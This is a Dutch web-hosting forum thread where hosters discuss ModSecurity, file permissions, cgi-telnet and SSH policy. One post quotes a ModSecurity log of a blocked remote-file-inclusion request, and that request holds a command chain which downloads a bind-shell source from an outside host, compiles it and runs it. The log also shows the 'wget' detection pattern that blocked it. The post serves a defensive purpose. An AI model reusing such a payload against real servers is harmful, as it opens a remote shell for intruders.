ModSecurity

[wv-]

Origineel geplaatst door Domenico

Ik denk dat deze post in ieder geval een hoop 'hosters' heeft wakker geschud en dat was uiteindelijk de bedoeling. SECURE YOUR BOXES NOW!

Wanneer ze geld hebben voor het uit te besteden omdat ze zelf alleen maar cpanel kennen?

[Domenico]

Origineel geplaatst door wv-


Wanneer ze geld hebben voor het uit te besteden omdat ze zelf alleen maar cpanel kennen?

Hopelijk is dit niet de trieste waarheid.
Maar als ik zie dat de botnet's alleen maar groter worden kunnen we het ergste vrezen.

[Mikey]

Origineel geplaatst door Domenico


Hopelijk is dit niet de trieste waarheid.
Maar als ik zie dat de botnet's alleen maar groter worden kunnen we het ergste vrezen.

Uhuh , ik zie de chans ook steeds groter worden

[Mikey]

Origineel geplaatst door Domenico
Dit is wel de bekendste(public) en er bestaan wel meerdere (meer geavanceerd) van dit soort utils die niet zomaar te verkrijgen zijn. Het zijn deze tools die ik niet hier of persoonlijk aan iemand zal vermelden.

Denk dat degene die hier echt mee bezig zijn het ook wel weten welke tools, er zijn er genoeg, wat dacht je van die include meuk waarmee ook een hoop kan. Denk dat de gemiddelde hoster zich echt wel dieper moet gaan steken in security. Wat hierboven al aangegeven werd dat men niet verder komt dan cpanel installeren, denk dat dat de harde waarheid nu eenmaal is.

[wv-]

Origineel geplaatst door Mikey


Denk dat degene die hier echt mee bezig zijn het ook wel weten welke tools, er zijn er genoeg, wat dacht je van die include meuk waarmee ook een hoop kan. Denk dat de gemiddelde hoster zich echt wel dieper moet gaan steken in security. Wat hierboven al aangegeven werd dat men niet verder komt dan cpanel installeren, denk dat dat de harde waarheid nu eenmaal is.

Eens hun server gekraakt is, zullen ze misschien wel eens kijken naar het security aspect.

[Qubix]

ModSecurity kan nu ook via de Current (C55) release van Cpanel geïnstalleerd worden via WHM (cPanel 9.9.0-C55 -> Addon Modules)

[Mikey]

Origineel geplaatst door wv-


Eens hun server gekraakt is, zullen ze misschien wel eens kijken naar het security aspect.

mjah dan zijn ze helaas te laat

[Domenico]

Hier een van de vele voorbeelden waar ModSecurity goed voor kan zijn:

HTTP/1.1
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
========================================
Request: 193.95.229.34 - - [29/Sep/2004:15:10:36 +0200] "GET /guestbook/include/livre_include.php?no_connect=lol&chem_absolu=http://********/jmascare/cmd.txt?&cmd=cd%20/usr/tmp;wget%20http://www.*******.org/archives/konewka/mybindshell.c;gcc%20mybindshell.c%20-o%20bind;./bind HTTP/1.1" 500 0
Handler: server-parsed
Error: File does not exist: /home/********/public_html/500.shtml
----------------------------------------
GET /guestbook/include/livre_include.php?no_connect=lol&chem_absolu=http://*********/jmascare/cmd.txt?&cmd=cd%20/usr/tmp;wget%20http://www.*******.org/archives/konewka/mybindshell.c;gcc%20mybindshell.c%20-o%20bind;./bind HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: Keep-Alive
Host: www.*************.biz
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; .NET CLR 1.1.4322)
mod_security-message: Access denied with code 500. Pattern match "wget\x20" at THE_REQUEST.
mod_security-action: 500


Uiteraard doet de juiste filepermissie voor wget ook wonderen.

[os2lover]

'k Heb die mod_security geinstalld, maar die cgi-telnet draait nog gewoon door hoor. Is er een mogelijkheid om die helemaal onmogelijk te maken, zonder CGI te disabelen?

[Domenico]

Origineel geplaatst door os2lover
'k Heb die mod_security geinstalld, maar die cgi-telnet draait nog gewoon door hoor. Is er een mogelijkheid om die helemaal onmogelijk te maken, zonder CGI te disabelen?

Klopt, je moet nog wel wat filters toevoegen wil cgi-telnet niet meer werken.

[WH-Tim]

Origineel geplaatst door wv-


Ik zou toch eens de Unix basics manual doorlezen om het probleem op te lossen.

Voorbeeld:

Homedir - rechten - user group
/home - 710 - root web
/home/user - 710 - user www-data
/home/user/testfile - maaktnietuit - user web

www-data: apache group
web: primary group van user

Ik dacht dat het aan mij lag, maar als ik /home op 710 chmod werkt de ftp access niet meer hoor. 711 werkt wel gewoon goed.

[wv-]

/home - 710 - root web

De gebruiker moet dus in de groep web zitten

[Dillard]

Origineel geplaatst door Qubix
ModSecurity kan nu ook via de Current (C55) release van Cpanel geïnstalleerd worden via WHM (cPanel 9.9.0-C55 -> Addon Modules)

Inderdaad, maar ModSecurity installeren is het makkelijke deel

We zijn er enkele weken geleden mee bezig geweest en binnen no time, vloog de debug-file over ons scherm en talloze sites waren niet meer bereikbaar (leuk om te leren dat klanten een submap /etc/ aanmaken in hun account ). Te scherp afgesteld dus. Ik heb nu een handleiding van een pagina of 32 liggen waarmee we de finetuning wat beter moeten kunnen beheersen, maar het probleem waar wij tegen aan liepen :

Zodra je dit implementeert op een productieserver kom er je achter wat er allemaal gefiltert wordt (en ook legitieme zaken zoals het posten van een HTTP link. Niet als PHP-injectie maar als href in een cms bv.).

Overigens waren we ook bij ModSecurity uitgekomen omdat we tegen een CGITELNET waren aangelopen en ons afvroegen hoe we dit in Perl konden afschermen (in PHP kan dit iets gemakkelijker).

In de discussie : Staat jullie SSH toe? Van deze klanten weet ik wie ze zijn, CGITELNET wordt door mensen zelf geupload en is dus niet wenselijk (ook niet controleerbaar), dus noodzaak tot het disablen.

[os2lover]

Hier is SSH alleszins niet toegestaan.

[Dillard]

Origineel geplaatst door os2lover
Hier is SSH alleszins niet toegestaan.

Hier alleen na opgaaf reden en met kopie legitimatie. Effectief heeft nog geen 3% van onze klanten dit daadwerkelijk aanstaan.

Maar zie hiervoor een andere discussie : http://www.webhostingtalk.nl/showthr...5&pagenumber=2